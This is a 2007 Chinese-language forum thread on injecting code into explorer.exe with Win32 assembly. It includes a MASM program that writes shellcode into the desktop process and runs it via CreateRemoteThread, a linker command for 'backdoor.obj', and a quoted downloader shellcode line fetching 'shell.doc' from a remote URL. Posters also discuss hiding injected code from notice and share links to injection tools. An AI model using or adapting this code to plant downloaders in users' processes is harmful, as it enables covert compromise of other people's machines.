36 12
发新话题
打印

[原创]简单线程注入的实现(win32汇编语言)

引用:
引用第23楼ifwish于2007-04-24 22:13发表的 :

这里我不是太明白,大概是在CS中加入MOV EBP,13140000H来指定基址吗?
可是我试过了不行.一运行就关闭.也没有下载.


是在link的时候哇,你肯定没注意看帖子。
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

引用:
引用第25楼lovemfc于2007-04-24 22:36发表的 :
为什么不用lstrcmpi来比较呢?乎略大小写的.
还有一个 问题,那个下载者怎么把整个PE文件给注入进区了.
SHELLCODE 里面直接用PUSH 00403008H 不大好把,怎么不这样.
call @f
  db 'Http://chenmingzhong87.xinwen365.com/shell.doc',0
.......
呵呵,当时犯了这个错误。

PUSH 00403008H 只是一个虚拟内存地址。只要explorer.exe加载了那两个dll,那么我们在代码中不加载也行。
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

非常感谢楼主,我的问题解决了,不过我发现,不只是程序在EXPLORER中基地址不同,在其他的软件中也是不一样的.我用Notepad试的时候还是出错直接关闭.可也不是默认的0x10000000 我用自己编的EXE,用默认值就能注入成功了. 那用什么方法可以得到不同程序上这个这基地址的值呢?

TOP

link.exe /base:0x13140000 /filealign:0x200 /merge:.data=.text /section:.text,RWX /subsystem:windows /libpath:\masm32\lib backdoor.obj
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

引用:
引用第29楼asm于2007-04-27 04:02发表的 :
link.exe /base:0x13140000 /filealign:0x200 /merge:.data=.text /section:.text,RWX /subsystem:windows /libpath:masm32lib backdoor.obj
这个我早知道了啊,我问的是0x13140000是怎么计算出来的啊,我要注入IE的时候这个值不行啊

TOP

玩代码注入,要程序自定位的,

不然兼容性太差了,

不会自定位的,还是用DLL注放吧,

老实说,自定位写起来太麻烦了

TOP

弱若地问一句:0X13140000是怎么算出来的呢??
--->  伱 能 領 導 潮 流.  我 可 領 導 全 賕!  <---

TOP

复制内容到剪贴板
代码:
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc

includelib kernel32.lib
includelib user32.lib


.data
szCalss db  &#39;Notepad&#39;,0
szDesktopClass   db   &#39;Progman&#39;,0 ;explorer.exe 的窗口类
szDesktopWindow  db   &#39;Program Manager&#39;,0

.data?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
.code

Shellcode:
ShellcodeEnd:

start:
mov  eax,offset ShellcodeEnd
sub  eax,offset Shellcode
mov  ShellSize,eax
invoke FindWindow,addr szDesktopClass,addr szDesktopWindow
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
  PROCESS_VM_OPERATION,FALSE,Pid   
mov hProcess, eax
invoke VirtualAllocEx, hProcess, 0, ShellSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd,addr Shellcode, ShellSize, 0
invoke CreateRemoteThread, hProcess, 0,0, hWnd,0, 0,0
invoke ExitProcess, 0
end start

TOP

引用:
引用第15楼ant008于2007-01-22 12:27发表的 :
怎么能确保注入的线程中00403008H指向就是urlmon.dll的内存地址!!! [s:36]
你是注入其它的进程中去执行代码,本进程的指针用到别的进程是会访问错误的吧
罗云彬那个书上的代码,VirtualAllocEx函数的第二个实参用的是NULL,表示由系统随机分配起始地址,因而无法预计代码被注入的实际位置,才需要重定位。

而楼主贴那段代码中VirtualAllocEx函数第二个实参就是注入者的模块句柄,表示确保远程代码会被注入到与注入者进程相同的地址空间。这样一来,重定位的手续就可以免除了。

但如果远程进程中与注入者进程相同的这一块地址空间已被占用的话,注入就会失败。出现这种情况,就需要在链接时改变注入者的模块句柄,换一个地方注入。

TOP

估计发新贴会被删,也懒得写新帖了。
自己前阵子写了几个程序,与远程注入相关,觉得还实用,给大家参考下。
其实重定位也就麻烦了点,但一个ebx就可以啦,在注入线程入口计算得偏移值放到ebx,以后就算有函数调用也不需要再计算了,再说ebx在API函数中有保护,所以使用起来不用担心被改变。
这样,重定位也不复杂嘛,就是麻烦了点。
而且有一个问题是,注入DLL启动线程工作完全结束后,DLL并不会被自动卸载,仍然会留在目标进程空间里,然而它却什么事都不做。这样很容易被查看出来异常。
http://www.hj032.cn/pig4210/mywork/hook.rar
http://www.hj032.cn/pig4210/mywork/RemoteThread2Run(ver%201.2).rar
程序有什么不足之处请不吝拍砖。相互交流嘛
triones

TOP

引用:
引用第19楼asm于2007-01-26 19:09发表的 :


[s:39] 国内学win32asm的,都是把罗云彬的书做权威....
才接触汇编.让我找到个有用的东西.楼主代码已保存.呵呵.
不错的注入..不过能否反注入..

TOP

 36 12
发新话题